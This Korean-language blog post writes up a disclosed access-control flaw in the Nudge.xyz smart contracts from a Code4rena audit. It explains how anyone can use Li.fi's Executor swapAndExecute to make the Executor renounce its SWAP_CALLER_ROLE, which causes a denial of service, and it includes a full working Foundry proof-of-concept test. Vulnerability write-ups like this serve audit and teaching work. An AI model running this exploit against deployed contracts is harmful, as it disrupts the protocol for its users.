Tyojong
[1-day] Nudge.xyz - Access Control, DoS 본문
코드 분석
영향 받는 코드
https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol
https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaignFactory.sol
https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgePointsCampaigns.sol

nudgexyz 깃허브 readme(문서)를 확인해보면 SWAP_CALLER_ROLE 권한을 Li.fi의 Executor에게 부여한다고 명시되어 있다.

NudgeCampaign.sol 파일의 handleReallocation 함수를 확인해보면 SWAP_CALLER_ROLE 권한만 접근 가능하도록 제약하고 있다.
그래서 SWAP_CALLER_ROLE 권한을 가진 Li.fi의 Executor 코드를 확인해보면

swapAndExecute 함수에는 접근을 제한하는 코드가 존재하지 않아 누구나 swapAndExecute 함수를 호출할 수 있다.
swapAndExecute 함수에 인자를 보면 _swapData가 존재하고 _swapData의 각 원소는 LibSwap.SwapData 타입이다.

LibSwap.SwapData를 확인해보면 callTo와 callData가 존재한다. 때문에 누구나 swapAndExecute 를 호출하여 callTo와 callData를 자유롭게 전달해 임의의 외부 컨트랙트 및 함수를 실행할 수 있다.
nudgexyz에서는 OpenZeppelin의 AccessControl을 import하고 있다.

AccessControl에는 renounceRole 함수가 있는데 renounceRole 함수는 호출한 계정이 가지고 있는 특정 역할(role)을 스스로 취소하는 함수이다.
익스플로잇
시나리오
Executor의 swapAndExecute로 NudgeCampaignFactory.sol에 renounceRole을 실행시키면 Executor는 SWAP_CALLER_ROLE 권한을 상실하게 되고 권한이 없기 때문에 handleReallocation은 더 이상 호출할 수 없게 되어 DoS가 발생한다.
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { Test } from "forge-std/Test.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { NudgeCampaign } from "../campaign/NudgeCampaign.sol";
import { NudgeCampaignFactory } from "../campaign/NudgeCampaignFactory.sol";
import { INudgeCampaign, IBaseNudgeCampaign } from "../campaign/interfaces/INudgeCampaign.sol";
import "../mocks/TestERC20.sol";
import { console } from "forge-std/console.sol";
import { Executor } from "../campaign/Periphery/Executor.sol";
import { ERC20Proxy } from "../campaign/Periphery/ERC20Proxy.sol";
import { LibSwap } from "../campaign/Libraries/LibSwap.sol";
import { TestUSDC } from "../mocks/TestUSDC.sol";
contract TestDOSReallocation is Test {
using Math for uint256;
NudgeCampaign private campaign;
NudgeCampaignFactory private factory;
TestERC20 private targetToken;
TestERC20 private rewardToken;
address owner = address(1);
address alice = address(11);
address bob = address(12);
address campaignAdmin = address(13);
address nudgeAdmin = address(14);
address treasury = address(15);
address swapCaller = address(16);
address operator = address(17);
address alternativeWithdrawalAddress = address(18);
bytes32 public constant SWAP_CALLER_ROLE = keccak256("SWAP_CALLER_ROLE");
uint16 constant DEFAULT_FEE_BPS = 1000; // 10%
uint32 constant HOLDING_PERIOD = 7 days;
uint256 constant REWARD_PPQ = 2e13;
uint256 constant INITIAL_FUNDING = 100_000e18;
uint256 constant PPQ_DENOMINATOR = 1e15;
address constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address badActor = address(0xBAD);
Executor executor;
address executorOwner = address(19);
ERC20Proxy erc20Proxy;
function setUp() public {
vm.startPrank(owner);
//deploy erc20 proxy which is part of Li Fi protocol
erc20Proxy = new ERC20Proxy(owner);
vm.stopPrank();
// Deploy tokens
targetToken = new TestERC20("Target Token", "TT");
rewardToken = new TestERC20("Reward Token", "RT");
//deploy executor which is part of li fi protocol
executor = new Executor(address(erc20Proxy), executorOwner);
swapCaller = address(executor);
console.log(address(executor));
// Deploy factory with roles
factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor));
vm.startPrank(owner);
//set executor as authorized caller as in Li Fi protocol
erc20Proxy.setAuthorizedCaller(address(executor), true);
vm.stopPrank();
// Fund test contract and approve factory
rewardToken.mintTo(INITIAL_FUNDING, address(this));
rewardToken.approve(address(factory), INITIAL_FUNDING);
// Deploy and fund campaign
campaign = NudgeCampaign(
payable(
factory.deployAndFundCampaign(
HOLDING_PERIOD,
address(targetToken),
address(rewardToken),
REWARD_PPQ,
campaignAdmin,
0, // start immediately
alternativeWithdrawalAddress,
INITIAL_FUNDING,
1 // uuid
)
)
);
// Setup swapCaller
deal(address(targetToken), swapCaller, INITIAL_FUNDING);
vm.prank(swapCaller);
targetToken.approve(address(campaign), type(uint256).max);
}
function test_DOSReallocation() public {
vm.deal(badActor, 10 ether);
vm.startPrank(badActor);
//deploy test usdc contract - this can be custom contract deployed by the attacker
TestUSDC testUsdc = new TestUSDC("A", "B");
testUsdc.mintTo(1 ether, badActor);
testUsdc.approve(address(executor), 1);
testUsdc.approve(address(erc20Proxy), 1);
bytes memory renounceRoleCallData =
abi.encodeWithSignature("renounceRole(bytes32,address)", SWAP_CALLER_ROLE, address(executor));
LibSwap.SwapData memory sd1 = LibSwap.SwapData(
//callTo:
address(factory),
//approveTo:
address(testUsdc),
//sendingAssetId:
address(testUsdc),
//receivingAssetId:
address(testUsdc),
//fromAmount:
1,
//callData:
renounceRoleCallData,
//requiresDeposit:
false
);
LibSwap.SwapData[] memory swapDataArray = new LibSwap.SwapData[](1);
swapDataArray[0] = sd1;
bytes32 transactionId = bytes32(uint256(1));
address transferredAssetId = address(testUsdc);
address receiver = address(badActor);
uint256 amount = 1;
//attacker orders executor to execute renounceRole function on factory contract, leading to loss of role for executor
// all of the future handleReallocations will revert, unless Nudge Admin will grant SWAP_CALLER_ROLE to executor
//but the attacker can repeat this process indefinitely
executor.swapAndExecute(transactionId, swapDataArray, address(testUsdc), payable(receiver), amount);
vm.stopPrank();
assert(!factory.hasRole(SWAP_CALLER_ROLE, address(executor)));
}
}

익스플로잇 코드를 실행시켜보면 test_DOSReallocation()함수가 정상적으로 실행되어 PASS가 출력된 것을 확인할 수 있고

NudgeCampaignFactory::hasRole이 권한이 박탈되어 false가 출력된 것을 확인할 수 있다.
'web3' 카테고리의 다른 글
| [1-day] DFX finance - Reentrancy (0) | 2025.10.29 |
|---|
